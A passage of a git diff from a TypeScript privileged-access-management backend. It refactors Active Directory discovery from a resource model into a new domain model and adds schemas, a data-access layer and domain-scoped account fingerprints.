+  "name" | "description" | "credentials" | "folderId" | "requireMfa"
 > & {
+  resourceId?: string;
+  domainId?: string;
   internalMetadata?: Record<string, unknown>;
   metadata?: z.input<typeof ResourceMetadataNonEncryptionSchema>;
   policyId?: string | null;
@@ -30,6 +32,7 @@ export type TAccessAccountDTO = {
   actorUserAgent: string;
   duration: number;
   mfaSessionId?: string;
+  reason?: string;
 };
 
 export type TListAccountsDTO = {
@@ -40,6 +43,7 @@ export type TListAccountsDTO = {
   limit?: number;
   offset?: number;
   filterResourceIds?: string[];
+  filterDomainIds?: string[];
   metadataFilter?: Array<{ key: string; value?: string }>;
 } & TProjectPermission;
 
diff --git a/backend/src/ee/services/pam-discovery/active-directory/active-directory-discovery-factory.ts b/backend/src/ee/services/pam-discovery/active-directory/active-directory-discovery-factory.ts
index d25b83719bc..cfe5231eedc 100644
--- a/backend/src/ee/services/pam-discovery/active-directory/active-directory-discovery-factory.ts
+++ b/backend/src/ee/services/pam-discovery/active-directory/active-directory-discovery-factory.ts
@@ -20,9 +20,11 @@ import { TPamAccountDALFactory } from "../../pam-account/pam-account-dal";
 import { encryptAccountCredentials } from "../../pam-account/pam-account-fns";
 import {
   TActiveDirectoryAccountCredentials,
-  TActiveDirectoryAccountInternalMetadata,
-  TActiveDirectoryResourceConnectionDetails
-} from "../../pam-resource/active-directory/active-directory-resource-types";
+  TActiveDirectoryAccountInternalMetadata
+} from "../../pam-domain/active-directory/active-directory-domain-types";
+import { TPamDomainDALFactory } from "../../pam-domain/pam-domain-dal";
+import { PamDomainType } from "../../pam-domain/pam-domain-enums";
+import { encryptDomainConnectionDetails } from "../../pam-domain/pam-domain-fns";
 import { TPamResourceDALFactory } from "../../pam-resource/pam-resource-dal";
 import { PamResource } from "../../pam-resource/pam-resource-enums";
 import { encryptResourceConnectionDetails, encryptResourceInternalMetadata } from "../../pam-resource/pam-resource-fns";
@@ -453,32 +455,32 @@ const executeLdapEnumeration = async (
   );
 };
 
-const upsertAdServerResource = async (
+const upsertDomain = async (
   projectId: string,
   configuration: TAdDiscoveryConfiguration,
   gatewayId: string,
   kmsService: Pick<TKmsServiceFactory, "createCipherPairWithDataKey">,
-  pamResourceDAL: Pick<TPamResourceDALFactory, "create" | "find">,
+  pamDomainDAL: Pick<TPamDomainDALFactory, "create" | "find">,
   tx: Knex
 ) => {
   const fingerprint = configuration.domainFQDN.toLowerCase();
 
-  const existing = await pamResourceDAL.find(
+  const existing = await pamDomainDAL.find(
     {
       projectId,
-      resourceType: PamResource.ActiveDirectory,
+      domainType: PamDomainType.ActiveDirectory,
       discoveryFingerprint: fingerprint
     },
     { tx }
   );
 
   if (existing.length > 0) {
-    return { resource: existing[0], isNew: false };
+    return { domain: existing[0], isNew: false };
   }
 
   const domainResourceName = toSlugName(configuration.domainFQDN);
 
-  const encryptedConnectionDetails = await encryptResourceConnectionDetails({
+  const encryptedConnectionDetails = await encryptDomainConnectionDetails({
     projectId,
     connectionDetails: {
       domain: configuration.domainFQDN,
@@ -488,15 +490,15 @@ const upsertAdServerResource = async (
       ldapRejectUnauthorized: configuration.ldapRejectUnauthorized,
       ldapCaCert: configuration.ldapCaCert,
       ldapTlsServerName: configuration.ldapTlsServerName
-    } as TActiveDirectoryResourceConnectionDetails,
+    },
     kmsService
   });
 
-  const resource = await pamResourceDAL.create(
+  const domain = await pamDomainDAL.create(
     {
       projectId,
       name: domainResourceName,
-      resourceType: PamResource.ActiveDirectory,
+      domainType: PamDomainType.ActiveDirectory,
       gatewayId,
       encryptedConnectionDetails,
       discoveryFingerprint: fingerprint
@@ -504,13 +506,14 @@ const upsertAdServerResource = async (
     tx
   );
 
-  return { resource, isNew: true };
+  return { domain, isNew: true };
 };
 
 const upsertWindowsServerResource = async (
   projectId: string,
   computer: TLdapComputer,
-  adServerResourceId: string,
+  domainId: string,
+  domainFQDN: string,
   gatewayId: string,
   winrmConfig: {
     winrmPort: number;
@@ -519,23 +522,29 @@ const upsertWindowsServerResource = async (
     winrmCaCert?: string;
   },
   kmsService: Pick<TKmsServiceFactory, "createCipherPairWithDataKey">,
-  pamResourceDAL: Pick<TPamResourceDALFactory, "create" | "find">,
+  pamResourceDAL: Pick<TPamResourceDALFactory, "create" | "find" | "updateById">,
   tx: Knex
 ) => {
-  const fingerprint = computer.objectGUID;
+  const fingerprint = `${domainFQDN.toLowerCase()}:${computer.objectGUID}`;
 
   const existing = await pamResourceDAL.find(
     {
       projectId,
       resourceType: PamResource.Windows,
-      discoveryFingerprint: fingerprint,
-      adServerResourceId
+      discoveryFingerprint: fingerprint
     },
     { tx }
   );
 
   if (existing.length > 0) {
-    return { resource: existing[0], isNew: false };
+    const found = existing[0];
+
+    // Reconnect if the resource was orphaned (e.g. the domain was previously deleted)
+    if (!found.domainId) {
+      const reconnected = await pamResourceDAL.updateById(found.id, { domainId }, tx);
+      return { resource: reconnected, isNew: false };
+    }
+    return { resource: found, isNew: false };
   }
 
   const hostname = computer.dNSHostName || computer.cn;
@@ -570,7 +579,7 @@ const upsertWindowsServerResource = async (
       gatewayId,
       encryptedConnectionDetails,
       encryptedResourceMetadata,
-      adServerResourceId,
+      domainId,
       discoveryFingerprint: fingerprint
     },
     tx
@@ -582,16 +591,18 @@ const upsertWindowsServerResource = async (
 const upsertDomainAccount = async (
   projectId: string,
   user: TLdapUser,
-  adServerResourceId: string,
+  domainId: string,
+  domainFQDN: string,
   kmsService: Pick<TKmsServiceFactory, "createCipherPairWithDataKey">,
   pamAccountDAL: Pick<TPamAccountDALFactory, "create" | "find">,
   tx: Knex
 ) => {
-  const fingerprint = user.objectGUID;
+  const fingerprint = `${domainFQDN.toLowerCase()}:${user.objectGUID}`;
 
   const existing = await pamAccountDAL.find(
     {
-      resourceId: adServerResourceId,
+      projectId,
+      domainId,
       discoveryFingerprint: fingerprint
     },
     { tx }
@@ -634,7 +645,7 @@ const upsertDomainAccount = async (
   const account = await pamAccountDAL.create(
     {
       projectId,
-      resourceId: adServerResourceId,
+      domainId,
       name: accountName,
       encryptedCredentials,
       internalMetadata,
@@ -781,12 +792,13 @@ const upsertLocalAccount = async (
   projectId: string,
   localUser: TWinRmLocalUser,
   computerObjectGUID: string,
+  domainFQDN: string,
   windowsServerResourceId: string,
   kmsService: Pick<TKmsServiceFactory, "createCipherPairWithDataKey">,
   pamAccountDAL: Pick<TPamAccountDALFactory, "create" | "find">,
   tx: Knex
 ) => {
-  const fingerprint = `${computerObjectGUID}:${localUser.Name.toLowerCase()}`;
+  const fingerprint = `${domainFQDN.toLowerCase()}:${computerObjectGUID}:${localUser.Name.toLowerCase()}`;
 
   const existing = await pamAccountDAL.find(
     {
@@ -932,6 +944,7 @@ export const activeDirectoryDiscoveryFactory: TPamDiscoveryFactory<
       pamDiscoverySourceAccountsDAL,
       pamDiscoverySourceDependenciesDAL,
       pamAccountDependenciesDAL,
+      pamDomainDAL,
       pamResourceDAL,
       pamAccountDAL,
       kmsService
@@ -985,30 +998,11 @@ export const activeDirectoryDiscoveryFactory: TPamDiscoveryFactory<
         } as TActiveDirectoryDiscoverySourceRunProgress
       });
 
-      // Auto-import AD Server resource
-      const { resource: adServerResource, isNew: isAdServerNew } = await pamResourceDAL.transaction(async (tx) => {
-        const result = await upsertAdServerResource(
-          projectId,
-          configuration,
-          gatewayId,
-          kmsService,
-          pamResourceDAL,
-          tx
-        );
-
-        await pamDiscoverySourceResourcesDAL.upsertJunction(
-          {
-            discoverySourceId,
-            resourceId: result.resource.id,
-            lastDiscoveredRunId: run.id
-          },
-          tx
-        );
-
+      // Auto-import AD domain
+      const { domain } = await pamDomainDAL.transaction(async (tx) => {
+        const result = await upsertDomain(projectId, configuration, gatewayId, kmsService, pamDomainDAL, tx);
         return result;
       });
-      resourcesDiscoveredCount += 1;
-      if (isAdServerNew) newResourcesCount += 1;
 
       // Auto-import Windows Server resources and build mapping for local account discovery
       const computerResourceMap = new Map<string, string>(); // objectGUID -> resourceId
@@ -1019,7 +1013,8 @@ export const activeDirectoryDiscoveryFactory: TPamDiscoveryFactory<
             const result = await upsertWindowsServerResource(
               projectId,
               computer,
-              adServerResource.id,
+              domain.id,
+              configuration.domainFQDN,
               gatewayId,
               {
                 winrmPort: configuration.winrmPort,
@@ -1066,7 +1061,8 @@ export const activeDirectoryDiscoveryFactory: TPamDiscoveryFactory<
             const result = await upsertDomainAccount(
               projectId,
               user,
-              adServerResource.id,
+              domain.id,
+              configuration.domainFQDN,
               kmsService,
               pamAccountDAL,
               tx
@@ -1129,6 +1125,7 @@ export const activeDirectoryDiscoveryFactory: TPamDiscoveryFactory<
                     projectId,
                     localUser,
                     computer.objectGUID,
+                    configuration.domainFQDN,
                     windowsResourceId,
                     kmsService,
                     pamAccountDAL,
diff --git a/backend/src/ee/services/pam-discovery/pam-discovery-factory.ts b/backend/src/ee/services/pam-discovery/pam-discovery-factory.ts
index 4c6a12110e2..1c39e3136e6 100644
--- a/backend/src/ee/services/pam-discovery/pam-discovery-factory.ts
+++ b/backend/src/ee/services/pam-discovery/pam-discovery-factory.ts
@@ -14,6 +14,7 @@ import {
   TPamDiscoveryCredentials,
   TPamDiscoveryFactory
 } from "@app/ee/services/pam-discovery/pam-discovery-types";
+import { TPamDomainDALFactory } from "@app/ee/services/pam-domain/pam-domain-dal";
 import { TPamResourceDALFactory } from "@app/ee/services/pam-resource/pam-resource-dal";
 import { TKmsServiceFactory } from "@app/services/kms/kms-service";
 
@@ -27,6 +28,7 @@ export type TPamDiscoveryScanDeps = {
     "upsertJunction" | "markStaleForRun"
   >;
   pamAccountDependenciesDAL: Pick<TPamAccountDependenciesDALFactory, "upsertDependency">;
+  pamDomainDAL: Pick<TPamDomainDALFactory, "create" | "find" | "transaction">;
   pamResourceDAL: Pick<TPamResourceDALFactory, "create" | "find" | "findById" | "updateById" | "transaction">;
   pamAccountDAL: Pick<TPamAccountDALFactory, "create" | "find" | "updateById" | "transaction">;
   kmsService: Pick<TKmsServiceFactory, "createCipherPairWithDataKey">;
diff --git a/backend/src/ee/services/pam-discovery/pam-discovery-queue.ts b/backend/src/ee/services/pam-discovery/pam-discovery-queue.ts
index ae4cc4d87da..fe6979c2d68 100644
--- a/backend/src/ee/services/pam-discovery/pam-discovery-queue.ts
+++ b/backend/src/ee/services/pam-discovery/pam-discovery-queue.ts
@@ -5,6 +5,7 @@ import { JOB_SCHEDULER_PREFIX, QueueJobs, QueueName, TQueueServiceFactory } from
 import { TKmsServiceFactory } from "@app/services/kms/kms-service";
 
 import { TPamAccountDALFactory } from "../pam-account/pam-account-dal";
+import { TPamDomainDALFactory } from "../pam-domain/pam-domain-dal";
 import { TPamResourceDALFactory } from "../pam-resource/pam-resource-dal";
 import { TPamAccountDependenciesDALFactory } from "./pam-account-dependencies-dal";
 import { PamDiscoverySourceRunTrigger, PamDiscoveryType } from "./pam-discovery-enums";
@@ -27,6 +28,7 @@ type TPamDiscoveryQueueFactoryDep = {
     "upsertJunction" | "markStaleForRun"
   >;
   pamAccountDependenciesDAL: Pick<TPamAccountDependenciesDALFactory, "upsertDependency">;
+  pamDomainDAL: Pick<TPamDomainDALFactory, "create" | "find" | "transaction">;
   pamResourceDAL: Pick<TPamResourceDALFactory, "create" | "find" | "findById" | "updateById" | "transaction">;
   pamAccountDAL: Pick<TPamAccountDALFactory, "create" | "find" | "updateById" | "transaction">;
   kmsService: Pick<TKmsServiceFactory, "createCipherPairWithDataKey">;
@@ -44,6 +46,7 @@ export const pamDiscoveryQueueFactory = ({
   pamDiscoverySourceAccountsDAL,
   pamDiscoverySourceDependenciesDAL,
   pamAccountDependenciesDAL,
+  pamDomainDAL,
   pamResourceDAL,
   pamAccountDAL,
   kmsService,
@@ -92,6 +95,7 @@ export const pamDiscoveryQueueFactory = ({
             pamDiscoverySourceAccountsDAL,
             pamDiscoverySourceDependenciesDAL,
             pamAccountDependenciesDAL,
+            pamDomainDAL,
             pamResourceDAL,
             pamAccountDAL,
             kmsService,
diff --git a/backend/src/ee/services/pam-discovery/pam-discovery-schemas.ts b/backend/src/ee/services/pam-discovery/pam-discovery-schemas.ts
index 1d5ddbb862b..541b6609a3d 100644
--- a/backend/src/ee/services/pam-discovery/pam-discovery-schemas.ts
+++ b/backend/src/ee/services/pam-discovery/pam-discovery-schemas.ts
@@ -8,12 +8,13 @@ import {
 } from "@app/db/schemas";
 import { slugSchema } from "@app/server/lib/schemas";
 
-import { ActiveDirectoryAccountMetadataSchema } from "../pam-resource/active-directory/active-directory-resource-schemas";
+import { ActiveDirectoryAccountMetadataSchema } from "../pam-domain/active-directory/active-directory-domain-schemas";
+import { PamDomainType } from "../pam-domain/pam-domain-enums";
 import { PamResource } from "../pam-resource/pam-resource-enums";
-import { SSHResourceInternalMetadataSchema } from "../pam-resource/ssh/ssh-resource-schemas";
+import { SanitizedSSHResourceInternalMetadataSchema } from "../pam-resource/ssh/ssh-resource-schemas";
 import {
-  WindowsAccountMetadataSchema,
-  WindowsResourceInternalMetadataSchema
+  SanitizedWindowsResourceInternalMetadataSchema,
+  WindowsAccountMetadataSchema
 } from "../pam-resource/windows-server/windows-server-resource-schemas";
 import {
   PamDiscoverySchedule,
@@ -57,15 +58,18 @@ export const DiscoveredResourceSchema = PamDiscoverySourceResourcesSchema.extend
   resourceName: z.string(),
   resourceType: z.nativeEnum(PamResource),
   resourceInternalMetadata: z
-    .union([SSHResourceInternalMetadataSchema, WindowsResourceInternalMetadataSchema])
+    .union([SanitizedSSHResourceInternalMetadataSchema, SanitizedWindowsResourceInternalMetadataSchema])
     .optional(),
   dependencyCount: z.number().default(0)
 });
 
 export const DiscoveredAccountSchema = PamDiscoverySourceAccountsSchema.extend({
-  resourceType: z.nativeEnum(PamResource),
-  resourceName: z.string(),
-  resourceId: z.string().uuid(),
+  resourceType: z.nativeEnum(PamResource).nullable().optional(),
+  resourceName: z.string().nullable().optional(),
+  resourceId: z.string().uuid().nullable().optional(),
+  domainType: z.nativeEnum(PamDomainType).nullable().optional(),
+  domainName: z.string().nullable().optional(),
+  domainId: z.string().uuid().nullable().optional(),
   accountName: z.string(),
   internalMetadata: z.union([ActiveDirectoryAccountMetadataSchema, WindowsAccountMetadataSchema]),
   dependencyCount: z.number().default(0)
diff --git a/backend/src/ee/services/pam-discovery/pam-discovery-source-accounts-dal.ts b/backend/src/ee/services/pam-discovery/pam-discovery-source-accounts-dal.ts
index f0c9e508cae..8160e25833d 100644
--- a/backend/src/ee/services/pam-discovery/pam-discovery-source-accounts-dal.ts
+++ b/backend/src/ee/services/pam-discovery/pam-discovery-source-accounts-dal.ts
@@ -21,7 +21,8 @@ export const pamDiscoverySourceAccountsDALFactory = (db: TDbClient) => {
       const dbInstance = tx || db.replicaNode();
       const query = dbInstance(TableName.PamDiscoverySourceAccount)
         .join(TableName.PamAccount, `${TableName.PamDiscoverySourceAccount}.accountId`, `${TableName.PamAccount}.id`)
-        .join(TableName.PamResource, `${TableName.PamAccount}.resourceId`, `${TableName.PamResource}.id`)
+        .leftJoin(TableName.PamResource, `${TableName.PamAccount}.resourceId`, `${TableName.PamResource}.id`)
+        .leftJoin(TableName.PamDomain, `${TableName.PamAccount}.domainId`, `${TableName.PamDomain}.id`)
         .where(`${TableName.PamDiscoverySourceAccount}.discoverySourceId`, discoverySourceId);
 
       const countQuery = query.clone().count("*", { as: "count" }).first();
@@ -30,9 +31,12 @@ export const pamDiscoverySourceAccountsDALFactory = (db: TDbClient) => {
         selectAllTableCols(TableName.PamDiscoverySourceAccount),
         db.ref("name").withSchema(TableName.PamAccount).as("accountName"),
         db.ref("resourceId").withSchema(TableName.PamAccount).as("resourceId"),
+        db.ref("domainId").withSchema(TableName.PamAccount).as("domainId"),
         db.ref("resourceType").withSchema(TableName.PamResource).as("resourceType"),
+        db.ref("domainType").withSchema(TableName.PamDomain).as("domainType"),
         db.ref("internalMetadata").withSchema(TableName.PamAccount).as("internalMetadata"),
-        db.ref("name").withSchema(TableName.PamResource).as("resourceName")
+        db.ref("name").withSchema(TableName.PamResource).as("resourceName"),
+        db.ref("name").withSchema(TableName.PamDomain).as("domainName")
       );
 
       void query.orderBy(`${TableName.PamAccount}.name`, "asc");
diff --git a/backend/src/ee/services/pam-discovery/pam-discovery-source-service.ts b/backend/src/ee/services/pam-discovery/pam-discovery-source-service.ts
index f79b1970700..fae4bc71e1d 100644
--- a/backend/src/ee/services/pam-discovery/pam-discovery-source-service.ts
+++ b/backend/src/ee/services/pam-discovery/pam-discovery-source-service.ts
@@ -76,7 +76,7 @@ type TPamDiscoverySourceServiceFactoryDep = {
     | "updateById"
     | "deleteById"
   >;
-  pamAccountDAL: Pick<TPamAccountDALFactory, "findByIdWithResourceDetails" | "findMetadataByAccountIds">;
+  pamAccountDAL: Pick<TPamAccountDALFactory, "findByIdWithParentDetails" | "findMetadataByAccountIds">;
   pamResourceDAL: Pick<TPamResourceDALFactory, "findById">;
   permissionService: Pick<TPermissionServiceFactory, "getProjectPermission" | "getOrgPermission">;
   kmsService: Pick<TKmsServiceFactory, "createCipherPairWithDataKey">;
@@ -632,32 +632,38 @@ export const pamDiscoverySourceServiceFactory = ({
     actorAuthMethod: ActorAuthMethod,
     actorOrgId: string
   ) => {
-    const accountWithResource = await pamAccountDAL.findByIdWithResourceDetails(accountId);
-    if (!accountWithResource) throw new NotFoundError({ message: `Account with ID '${accountId}' not found` });
+    const accountWithParent = await pamAccountDAL.findByIdWithParentDetails(accountId);
+    if (!accountWithParent) throw new NotFoundError({ message: `Account with ID '${accountId}' not found` });
 
     const { permission } = await permissionService.getProjectPermission({
       actor,
       actorId,
-      projectId: accountWithResource.projectId,
+      projectId: accountWithParent.projectId,
       actorAuthMethod,
       actorOrgId,
       actionProjectType: ActionProjectType.PAM
     });
 
-    const metadataByAccountId = await pamAccountDAL.findMetadataByAccountIds([accountWithResource.id]);
-    const accountMetadata = metadataByAccountId[accountWithResource.id] || [];
+    const metadataByAccountId = await pamAccountDAL.findMetadataByAccountIds([accountWithParent.id]);
+    const accountMetadata = metadataByAccountId[accountWithParent.id] || [];
 
     ForbiddenError.from(permission).throwUnlessCan(
       action,
       subject(ProjectPermissionSub.PamAccounts, {
-        resourceName: accountWithResource.resource.name,
-        accountName: accountWithResource.name,
-        resourceType: accountWithResource.resource.resourceType,
+        accountName: accountWithParent.name,
+        ...(accountWithParent.resource && {
+          resourceName: accountWithParent.resource.name,
+          resourceType: accountWithParent.resource.resourceType
+        }),
+        ...(accountWithParent.domain && {
+          domainName: accountWithParent.domain.name,
+          domainType: accountWithParent.domain.domainType
+        }),
         metadata: accountMetadata
       })
     );
 
-    return accountWithResource;
+    return accountWithParent;
   };
 
   const decryptDependencySyncMessages = async <T extends { encryptedLastSyncMessage?: Buffer | null }>(
@@ -697,7 +703,7 @@ export const pamDiscoverySourceServiceFactory = ({
     actorAuthMethod: ActorAuthMethod;
     actorOrgId: string;
   }) => {
-    const accountWithResource = await verifyAccountPermission(
+    const accountWithParent = await verifyAccountPermission(
       accountId,
       ProjectPermissionPamAccountActions.Read,
       actor,
@@ -706,7 +712,7 @@ export const pamDiscoverySourceServiceFactory = ({
       actorOrgId
     );
     const deps = await pamAccountDependenciesDAL.findByAccountId(accountId);
-    return decryptDependencySyncMessages(deps, accountWithResource.projectId);
+    return decryptDependencySyncMessages(deps, accountWithParent.projectId);
   };
 
   const getResourceDependencies = async ({
diff --git a/backend/src/ee/services/pam-resource/active-directory/active-directory-resource-enums.ts b/backend/src/ee/services/pam-domain/active-directory/active-directory-domain-enums.ts
similarity index 100%
rename from backend/src/ee/services/pam-resource/active-directory/active-directory-resource-enums.ts
rename to backend/src/ee/services/pam-domain/active-directory/active-directory-domain-enums.ts
diff --git a/backend/src/ee/services/pam-resource/active-directory/active-directory-resource-factory.ts b/backend/src/ee/services/pam-domain/active-directory/active-directory-domain-factory.ts
similarity index 90%
rename from backend/src/ee/services/pam-resource/active-directory/active-directory-resource-factory.ts
rename to backend/src/ee/services/pam-domain/active-directory/active-directory-domain-factory.ts
index d852809a8f7..2f3f8caff65 100644
--- a/backend/src/ee/services/pam-resource/active-directory/active-directory-resource-factory.ts
+++ b/backend/src/ee/services/pam-domain/active-directory/active-directory-domain-factory.ts
@@ -7,27 +7,23 @@ import { logger } from "@app/lib/logger";
 
 import { verifyHostInputValidity } from "../../dynamic-secret/dynamic-secret-fns";
 import { TGatewayV2ServiceFactory } from "../../gateway-v2/gateway-v2-service";
-import { generatePassword } from "../../secret-rotation-v2/shared/utils";
-import { PamResource } from "../pam-resource-enums";
+import { PamResource } from "../../pam-resource/pam-resource-enums";
 import {
-  TPamResourceFactory,
   TPamResourceFactoryRotateAccountCredentials,
   TPamResourceFactoryValidateAccountCredentials,
-  TPamResourceInternalMetadata,
   TPostRotateContext
-} from "../pam-resource-types";
-import { syncDependenciesAfterRotation } from "../shared/dependency-sync-fns";
-import { resolveDnsTcp } from "../shared/dns-over-dc";
-import {
-  TActiveDirectoryAccountCredentials,
-  TActiveDirectoryResourceConnectionDetails
-} from "./active-directory-resource-types";
+} from "../../pam-resource/pam-resource-types";
+import { syncDependenciesAfterRotation } from "../../pam-resource/shared/dependency-sync-fns";
+import { resolveDnsTcp } from "../../pam-resource/shared/dns-over-dc";
+import { generatePassword } from "../../secret-rotation-v2/shared/utils";
+import { TPamDomainFactory } from "../pam-domain-types";
+import { TActiveDirectoryAccountCredentials, TActiveDirectoryConnectionDetails } from "./active-directory-domain-types";
 
 const EXTERNAL_REQUEST_TIMEOUT = 10 * 1000;
 
 const executeWithGateway = async <T>(
   config: {
-    connectionDetails: TActiveDirectoryResourceConnectionDetails;
+    connectionDetails: TActiveDirectoryConnectionDetails;
     resourceType: PamResource;
     gatewayId: string;
     targetPortOverride?: number;
@@ -64,11 +60,11 @@ const executeWithGateway = async <T>(
   );
 };
 
-export const activeDirectoryResourceFactory: TPamResourceFactory<
-  TActiveDirectoryResourceConnectionDetails,
-  TActiveDirectoryAccountCredentials,
-  TPamResourceInternalMetadata
-> = (resourceType, connectionDetails, gatewayId, gatewayV2Service) => {
+export const activeDirectoryDomainFactory: TPamDomainFactory<
+  TActiveDirectoryConnectionDetails,
+  TActiveDirectoryAccountCredentials
+> = (domainType, connectionDetails, gatewayId, gatewayV2Service) => {
+  const resourceType = domainType as unknown as PamResource;
   const ldapProtocol = connectionDetails.useLdaps ? "ldaps" : "ldap";
 
   const buildLdapTlsOptions = () => {
@@ -113,15 +109,18 @@ export const activeDirectoryResourceFactory: TPamResourceFactory<
             if (clientError) return;
 
             if (err) {
-              // Even if anonymous bind is rejected, an LDAP error response means the server is an LDAP server
-              // Only reject if it's a connection-level error (not an LDAP protocol error)
+              // Connection-level errors mean the server is unreachable
+              // Any other LDAP error (e.g. InvalidCredentialsError) means the server responded with a protocol-level rejection
               if (err.name === "ConnectionError" || err.name === "TimeoutError") {
                 client.unbind();
                 reject(err);
-              } else {
-                logger.info("[Active Directory Resource Factory] LDAP connection validated (server responded)");
+              } else if ("lde_message" in err) {
+                logger.info("[Active Directory Domain Factory] LDAP connection validated (server responded)");
                 client.unbind();
                 resolve();
+              } else {
+                client.unbind();
+                reject(err);
               }
             } else {
               logger.info("[Active Directory Resource Factory] LDAP anonymous bind successful");
@@ -238,7 +237,7 @@ export const activeDirectoryResourceFactory: TPamResourceFactory<
           // Search for target user's DN by sAMAccountName
           const searchBase = connectionDetails.domain
             .split(".")
-            .map((dc) => `DC=${dc}`)
+            .map((dc: string) => `DC=${dc}`)
             .join(",");
 
           client.search(
diff --git a/backend/src/ee/services/pam-domain/active-directory/active-directory-domain-schemas.ts b/backend/src/ee/services/pam-domain/active-directory/active-directory-domain-schemas.ts
new file mode 100644
index 00000000000..14629f16cd6
--- /dev/null
+++ b/backend/src/ee/services/pam-domain/active-directory/active-directory-domain-schemas.ts
@@ -0,0 +1,72 @@
+import { z } from "zod";
+
+import {
+  BaseCreatePamAccountSchema,
+  BasePamAccountSchema,
+  BasePamAccountSchemaWithResource,
+  BaseUpdatePamAccountSchema
+} from "../../pam-resource/pam-resource-schemas";
+import { PamDomainType } from "../pam-domain-enums";
+import { ActiveDirectoryAccountType } from "./active-directory-domain-enums";
+
+export const ActiveDirectoryConnectionDetailsSchema = z.object({
+  domain: z.string().trim().min(1).max(255),
+  dcAddress: z.string().trim().min(1).max(255),
+  port: z.coerce.number().int().min(1).max(65535),
+  useLdaps: z.boolean(),
+  ldapRejectUnauthorized: z.boolean(),
+  ldapCaCert: z
+    .string()
+    .trim()
+    .transform((val) => val || undefined)
+    .optional(),
+  ldapTlsServerName: z
+    .string()
+    .trim()
+    .transform((val) => val || undefined)
+    .optional()
+});
+
+export const ActiveDirectoryAccountCredentialsSchema = z.object({
+  username: z.string().trim().min(1).max(255),
+  password: z.string().trim().min(1).max(255)
+});
+
+export const ActiveDirectoryAccountMetadataSchema = z.object({
+  accountType: z.nativeEnum(ActiveDirectoryAccountType),
+  adGuid: z.string().optional(),
+  displayName: z.string().optional(),
+  userPrincipalName: z.string().optional(),
+  servicePrincipalName: z.string().array().optional(),
+  userAccountControl: z.number().optional(),
+  passwordLastSet: z.string().optional(),
+  lastLogon: z.string().optional()
+});
+
+export const ActiveDirectoryAccountSchema = BasePamAccountSchema.extend({
+  credentials: ActiveDirectoryAccountCredentialsSchema,
+  internalMetadata: ActiveDirectoryAccountMetadataSchema
+});
+
+export const CreateActiveDirectoryAccountSchema = BaseCreatePamAccountSchema.omit({ resourceId: true }).extend({
+  domainId: z.string().uuid(),
+  credentials: ActiveDirectoryAccountCredentialsSchema,
+  internalMetadata: ActiveDirectoryAccountMetadataSchema
+});
+
+export const UpdateActiveDirectoryAccountSchema = BaseUpdatePamAccountSchema.extend({
+  credentials: ActiveDirectoryAccountCredentialsSchema.optional(),
+  internalMetadata: ActiveDirectoryAccountMetadataSchema.optional()
+});
+
+export const SanitizedActiveDirectoryAccountWithDomainSchema = BasePamAccountSchemaWithResource.extend({
+  parentType: z.literal(PamDomainType.ActiveDirectory),
+  credentials: z.object({
+    username: z.string()
+  }),
+  internalMetadata: ActiveDirectoryAccountMetadataSchema
+});
+
+export const ActiveDirectorySessionCredentialsSchema = ActiveDirectoryConnectionDetailsSchema.and(
+  ActiveDirectoryAccountCredentialsSchema
+);
diff --git a/backend/src/ee/services/pam-domain/active-directory/active-directory-domain-types.ts b/backend/src/ee/services/pam-domain/active-directory/active-directory-domain-types.ts
new file mode 100644
index 00000000000..113bc4e95ab
--- /dev/null
+++ b/backend/src/ee/services/pam-domain/active-directory/active-directory-domain-types.ts
@@ -0,0 +1,12 @@
+import { z } from "zod";
+
+import {
+  ActiveDirectoryAccountCredentialsSchema,
+  ActiveDirectoryAccountMetadataSchema,
+  ActiveDirectoryConnectionDetailsSchema
+} from "./active-directory-domain-schemas";
+
+export type TActiveDirectoryConnectionDetails = z.infer<typeof ActiveDirectoryConnectionDetailsSchema>;
+
+export type TActiveDirectoryAccountCredentials = z.infer<typeof ActiveDirectoryAccountCredentialsSchema>;
+export type TActiveDirectoryAccountInternalMetadata = z.infer<typeof ActiveDirectoryAccountMetadataSchema>;
diff --git a/backend/src/ee/services/pam-domain/pam-domain-dal.ts b/backend/src/ee/services/pam-domain/pam-domain-dal.ts
new file mode 100644
index 00000000000..c773cad1567
--- /dev/null
+++ b/backend/src/ee/services/pam-domain/pam-domain-dal.ts
@@ -0,0 +1,119 @@
+import { Knex } from "knex";
+import RE2 from "re2";
+
+import { TDbClient } from "@app/db";
+import { TableName } from "@app/db/schemas";
+import { DatabaseError } from "@app/lib/errors";
+import { ormify, selectAllTableCols } from "@app/lib/knex";
+import { OrderByDirection } from "@app/lib/types";
+
+import { PamDomainOrderBy } from "./pam-domain-enums";
+
+export type TPamDomainDALFactory = ReturnType<typeof pamDomainDALFactory>;
+
+export const pamDomainDALFactory = (db: TDbClient) => {
+  const orm = ormify(db, TableName.PamDomain);
+
+  const findById = async (id: string, tx?: Knex) => {
+    try {
+      const result = await (tx || db.replicaNode())(TableName.PamDomain)
+        .leftJoin(TableName.GatewayV2, `${TableName.PamDomain}.gatewayId`, `${TableName.GatewayV2}.id`)
+        .where(`${TableName.PamDomain}.id`, id)
+        .select(selectAllTableCols(TableName.PamDomain))
+        .select(
+          db.ref("name").withSchema(TableName.GatewayV2).as("gatewayName"),
+          db.ref("identityId").withSchema(TableName.GatewayV2).as("gatewayIdentityId")
+        )
+        .first();
+
+      return result || null;
+    } catch (error) {
+      throw new DatabaseError({ error, name: "Find PAM domain by ID" });
+    }
+  };
+
+  const findByProjectId = async (
+    {
+      projectId,
+      search,
+      limit,
+      offset = 0,
+      orderBy = PamDomainOrderBy.Name,
+      orderDirection = OrderByDirection.ASC,
+      filterDomainTypes,
+      discoveryFingerprint
+    }: {
+      projectId: string;
+      search?: string;
+      limit?: number;
+      offset?: number;
+      orderBy?: PamDomainOrderBy;
+      orderDirection?: OrderByDirection;
+      filterDomainTypes?: string[];
+      discoveryFingerprint?: string;
+    },
+    tx?: Knex
+  ) => {
+    try {
+      const dbInstance = tx || db.replicaNode();
+      const query = dbInstance(TableName.PamDomain).where(`${TableName.PamDomain}.projectId`, projectId);
+
+      if (search) {
+        const escapedSearch = search
+          .replace(new RE2(/\\/g), "\\\\")
+          .replace(new RE2(/%/g), "\\%")
+          .replace(new RE2(/_/g), "\\_");
+        const pattern = `%${escapedSearch}%`;
+        void query.whereRaw(`??.?? ILIKE ? ESCAPE '\\'`, [TableName.PamDomain, "name", pattern]);
+      }
+
+      if (filterDomainTypes && filterDomainTypes.length) {
+        void query.whereIn(`${TableName.PamDomain}.domainType`, filterDomainTypes);
+      }
+
+      if (discoveryFingerprint) {
+        void query.where(`${TableName.PamDomain}.discoveryFingerprint`, discoveryFingerprint);
+      }
+
